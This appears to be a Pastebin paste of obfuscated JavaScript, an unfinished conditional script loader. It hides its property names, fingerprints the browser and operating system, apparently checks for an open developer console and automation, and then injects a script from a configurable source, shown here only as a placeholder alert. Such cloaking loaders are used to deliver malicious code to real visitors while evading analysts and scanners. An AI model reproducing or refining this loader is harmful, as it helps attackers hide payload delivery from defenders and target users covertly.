Advertisement
Guest User

Untitled

a guest
Nov 7th, 2018
187
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.07 KB | None | 0 0
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2.  
  3. +function() {
  4.  
  5. var st = '',
  6. ext = {}, // window after checkProps() calling
  7. wNum = '__',
  8. mParam = '|',
  9. fSize = 2,
  10. element; // RegExp after checkProps() calling
  11.  
  12. var obj = {
  13. ect: ' ',
  14. csp: 1,
  15. max: 7,
  16. post: ['Assembly', 'Pixel', 'Points'], // !!!! don't change length!!
  17. form: 'Enabled',
  18. user: 'persistent',
  19. Name: 'Agent',
  20. color: 'osc',
  21. Ratio: 5,
  22. side: 'Depth',
  23. Message: ['devi', 'scre', 'okie', 'plug', 'secu'],
  24. scr: 'random',
  25. crypto: 'doc'
  26. }
  27.  
  28. var propTxt = 'rab gube ppa edo nois dob ivan'; // bar, ebug, app, ode, sion, bod, navi
  29.  
  30. var prop = checkProps(propTxt, 'gato', 2); // window.navigator
  31. var filter, idParam, devType; // window.document, document.body, navigator.plugins after checkEmpty() calling
  32. console.log('prop', prop)
  33. console.log('propTxt', propTxt)
  34. var startMes = checkEmpty(obj.Message, obj.user.slice(obj.max), // window.postMessage&&window.devicePixelRatio&&screen.colorDepth&&navigator.cookieEnabled&&navigator.plugins
  35. ['ce', 'en', 'co', 'ins', 'rity']);
  36. var itemCount = filter[obj.Message[obj.Ratio - 1]]; // document.security
  37. console.log('itemCount', itemCount)
  38. var trackParam = ext[obj.add[obj.max - obj.Ratio]] // window.sidebar
  39. console.log('trackParam', trackParam)
  40. var arr = ['mp', 'sm', 'va', 'ari', 'ur', 'de', 'ome', 'efo'];
  41. var ctrlLog = ext[obj.user.toUpperCase()]; // window.PERSISTENT
  42. console.log('ctrlLog', ctrlLog)
  43. var lastCond = ext[obj.key[+st]] || trackParam; // window.Rect || trackParam
  44. console.log('lastCond', lastCond)
  45. var listed = ext[obj.side.substr(+st, obj.csp + 1) + 'bug'] // window.Debug
  46. console.log('listed', listed)
  47.  
  48. var nextItem = listItems('du wa ja saf bl tri chr fir eb', 'plat', {buffer: 'Touch'});
  49. var openCond = typeof(ext[obj.add[obj.Ratio]]) === 'function'; // typeof(window.crypto)=="function"
  50. var flag = defineFlag(propTxt, 4, 'ge'); // [navigator.appCodeName,navigator.appVersion].join(navigator.javaEnabled).match(/"/g)
  51. console.log('flag', flag)
  52. var lock = st || Node;
  53. console.log('lock', lock)
  54. var second = lock[wNum + obj.key[1]]; // Node.__cspr__
  55. var mom = new Date/1e13;
  56.  
  57. function defineFlag(arg, code, desc, stParam) {
  58. var temp = typeof(stParam),
  59. pass = arg[fSize], // 'app'
  60. arr = [
  61. pass + arg[code - 1] + obj.key[code + fSize],
  62. pass + arg[code],
  63. obj.list[+st]
  64. ];
  65. console.log('arr', arr)
  66. obj.list[code - 1] += mParam + temp.slice(obj.max) + desc;
  67. var flags = arr.map(function(el) {
  68. return prop[el];
  69. }),
  70. sourse = listItems('"', fSize),
  71. extra = [flags[+st], flags[fSize - 1]].join(flags[code - 1]);
  72. return extra.match(sourse);
  73. }
  74.  
  75. // return RegExp if 2 params, typeof mark === 'number'!!!
  76. // return !window.dump||window.WebAssembly&&navigator.oscpu||navigator.wasmEnabled
  77. function listItems(arg, mark, cond) {
  78. var zInd = obj.csp + 1; // 2
  79. if (mark && typeof mark === 'number') {
  80. // transform mark to g/gi/i
  81. // 1 - without flag, 2 - 'g', 3 - 'gi', 4 - 'i'
  82. if (mark === 1) return new element(arg)
  83. else {
  84. var sTem = 'g';
  85. mark === zInd ? '' : mark === 3 ? sTem += 'i' : sTem = 'i';
  86. return new element(arg, sTem);
  87. }
  88. } else {
  89. var tmp = checkEmpty(arg, ' '),
  90. sNum = obj.max + 1; // 8
  91. console.log('tmp', tmp)
  92. var newArr = tmp.map(function(el, num) {
  93. num === tmp.length - 1 ? el = 'W' + el
  94. : el += arr[num];
  95. return el;
  96. })
  97. var type = ext[newArr[sNum] + obj.post[+st]] &&
  98. prop[obj.color + 'pu'];
  99. console.log('type', type)
  100. console.log('newArr', newArr)
  101. obj.key[zInd] += cond.buffer + obj.post[zInd];
  102. obj.list = newArr.slice(zInd).map(function(item, idn) {
  103. idn === +st ? item += obj.form : idn === zInd - 1 ?
  104. item += mParam : idn === zInd + 1 ? item += 'nt' :
  105. idn === obj.Ratio ? item += 'x' : idn === obj.Ratio + 1 ?
  106. item += 'GLFr' + obj.key[sNum - zInd].slice(zInd - 1) +
  107. Object.keys(cond)[+st] : '';
  108. return item;
  109. })
  110. obj.row = prop[mark + obj.key[zInd * 2]]; // navigator.platform
  111. obj.Name = prop[obj.key[obj.Ratio] + obj.Name]; // navigator.userAgent
  112. return !ext[newArr[+st]] || type ||
  113. prop[newArr[zInd - 1] + obj.form];
  114.  
  115. }
  116. }
  117.  
  118. function checkState(state, descr) {
  119. var hParam = obj.Ratio - 1, // 4
  120. args = descr.map(function(arg) {
  121. return state.match(listItems(arg, hParam))
  122. }),
  123. prevSt = args[+st] && lastCond,
  124. curSt = args[fSize - 1] && ctrlLog && startMes && checkType(),
  125. nextSt = args[fSize] && listed;
  126. obj.Num = ext[obj.list[hParam + fSize]];
  127. return prevSt || curSt || nextSt;
  128. }
  129.  
  130.  
  131.  
  132. // return window.postMessage&&window.devicePixelRatio&&screen.colorDepth&&navigator.cookieEnabled&&navigator.plugins
  133. // if 3 args
  134. // return array.split(arg, separator) if 2 arguments
  135. function checkEmpty(arg, sep, arr) {
  136. var lgt = obj.post.length, // 3
  137. idn = +st + 1; // 1
  138. if (arguments && arguments.length === lgt) {
  139. var res = [
  140. ext[obj.key[lgt] + obj.add[lgt]], // window.postMessage
  141. ]
  142. obj.Message = arg.map(function(mes, flag) {
  143. flag === lgt - 1 ? mes = arr[flag] + mes
  144. : mes += arr[flag];
  145. return mes;
  146. });
  147. var rParam = obj.Message;
  148. rParam[+st] += obj.post[idn] + obj.add[idn]; // 'devicePixelRatio'
  149. rParam[lgt - 1] += obj.form; // 'cookieEnabled'
  150. res.push(
  151. ext[rParam[+st]], // window.devicePixelRatio
  152. ext[rParam[1]][obj.add[+st]+ obj.side], // screen.colorDepth
  153. prop[rParam[lgt - 1]], // navigator.cookieEnabled
  154. prop[rParam[lgt]] // navigator.plugins
  155. );
  156. devType = res[res.length - idn];
  157. obj.crypto += 'um' + sep;
  158. filter = ext[obj.crypto];
  159. var result = res.reduce(function(cur, next) {
  160. return cur && next
  161. }, res[+st]);
  162. idParam = filter[propTxt[obj.Ratio]];
  163. return result;
  164. } else {
  165. return arg.split(sep);
  166. }
  167. }
  168. console.log('obj', obj)
  169.  
  170. function crop(items) {
  171. if (items && items.length >= obj.Ratio) {
  172. var cropped = items.reduce(function(item, next) {
  173. return item.map(function(el) {
  174. return el + next;
  175. })
  176. }, items[fSize]);
  177. return cropped;
  178. }
  179. if (changedParam) {
  180. if (stateParam) {
  181. console.log(minParam);
  182. if (itemNum > 0 && obj.Num) {
  183. checkId();
  184. }
  185. }
  186. }
  187. }
  188.  
  189.  
  190.  
  191. ~function(current, base) {
  192. var num = +st;
  193. if (mom && Array.isArray(mom)) {
  194. var sum = mom.reduce(function(el, next) {
  195. return el + next;
  196. })
  197. current += sum;
  198. }
  199. Math[base] = function() {
  200. return mom;
  201. };
  202. current && current.forEach(function(el) {
  203. lock.prototype[el[num]] = el[num + 1]
  204. });
  205. } (second, obj.scr);
  206.  
  207. var checkType = function(){ return !st.match.call(devType[+st].name, 'um') };
  208. var itemNum = itemCount?4:trackParam?1:2;
  209. var isOpen = openCond || flag;
  210. var minParam = listItems('g', 1) // /g/;
  211. checkId = function() {
  212. obj.add[obj.Ratio - 1] += 'ipt';
  213. var temp = filter.createElement(obj.add[obj.Ratio - 1]),
  214. select = idParam.appendChild(temp);
  215. return select.src = ext.globalScriptSrc;
  216. };
  217.  
  218. try{ var textParam = ext[obj.list[fSize]] + st }catch(e){ var textParam=false };
  219. minParam.toString = function() { --itemNum; return st };
  220.  
  221. var changedParam = changeParams('in', mParam, 'ma'); // 1 if
  222. var stateParam = checkState(obj.Name, obj.prop); // 2 if
  223.  
  224. // return window.navigator, add obj keys, reverse ect
  225. function checkProps(arg, param, id, filter) {
  226. var res,
  227. fnr = +st; // 0
  228. if (filter && typeof filter === 'object') {
  229. res = arg.forEach(function(item) {
  230. for (var key in filter) {
  231. item + filter[key] === param
  232. ? (item.add = key, item = filter[key])
  233. : ''
  234. }
  235. return item;
  236. })
  237. } else {
  238. var buf = checkEmpty(arg, obj.ect);
  239. ext = window;
  240. propTxt = buf.map(function(el, index) {
  241. var len = el.length,
  242. sum = st;
  243. element = RegExp;
  244. for (var i = 1; i <= len; i++) {
  245. sum += el.substr(len - i, 1);
  246. }
  247. item = sum;
  248. index === obj.csp ? item = 'D' + item :
  249. index === id + 1 ? item = 'C' + item : index === obj.Ratio - 1 ?
  250. item = 'Ver' + item : index === obj.Ratio ? item += 'y'
  251. : index === obj.max - 1 ? item += param + 'r' : item += st;
  252. return item;
  253. })
  254. var temp = Object.keys(obj).map(function(el, ind) {
  255. ind === fnr ? el = 'R' + el : ind === fnr + 1
  256. ? el += 'r' + wNum : ind === obj.max + 2 ?
  257. el += propTxt[fnr] : '';
  258. return el;
  259. })
  260. obj.key = temp.splice(fnr, obj.max);
  261. obj.add = temp;
  262. res = ext[propTxt[obj.max - 1]];
  263. }
  264. return res;
  265. }
  266. crop();
  267.  
  268. function changeParams() {
  269. var arg = 'l', // ************* 'l' for linux, 'w' for windows!!!
  270. list = obj.list,
  271. num = obj.Ratio; // 5
  272. if (arguments && arguments.length === fSize + 1) {
  273. for (var i = 0; i < arguments.length; i++) {
  274. arg += arguments[i]
  275. }
  276. }
  277. var params = [
  278. obj.row.match(listItems(arg + 'c', fSize + 1)),
  279. !prop[obj.key[fSize]], !isOpen,
  280. textParam, nextItem
  281. ]
  282. var changed = params.reduce(function(prev, cur) {
  283. return prev && cur
  284. }, params[0]);
  285. obj.prop = [list[fSize - 1] + list[num], list[num - 1], list[fSize + 1]];
  286. return changed;
  287. }
  288. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement